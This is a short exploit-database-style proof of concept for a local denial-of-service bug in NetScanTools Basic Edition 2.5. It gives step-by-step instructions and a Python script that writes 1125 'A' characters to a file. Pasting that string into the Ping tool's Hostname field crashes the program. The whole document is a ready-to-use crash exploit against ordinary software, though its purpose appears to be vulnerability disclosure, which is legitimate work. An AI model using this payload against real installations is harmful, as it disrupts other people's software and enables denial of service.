# Exploit Title: NetScanTools Basic Edition 2.5 - 'Hostname' Denial of Service (PoC)# Discovery by: Luis Martínez# Discovery Date: 2018-07-26# Vendor Homepage: https://www.netscantools.com/# Software Link : http://download.netscantools.com/nstb250.zip# Tested Version: 2.5# Vulnerability Type: Denial of Service (DoS) Local# Tested on OS: Windows 10 Pro x64 es# Steps to Produce the Crash: # 1.- Run python code : python NetScanTools_Basic_Edition_2.5.py# 2.- Open NetScanTools_Basic_Edition_2.5.txt and copy content to clipboard# 3.- Open NstBasic.exe# 4.- Ping and Traceroute Tools# 5.- Ping# 6.- Paste ClipBoard on Target Hostname or IPv4 Address# 7.- Do Ping# 8.- Crashed#!/usr/bin/env python
buffer = "\x41"* 1125
f = open ("NetScanTools_Basic_Edition_2.5.txt","w")
f.write(buffer)
f.close()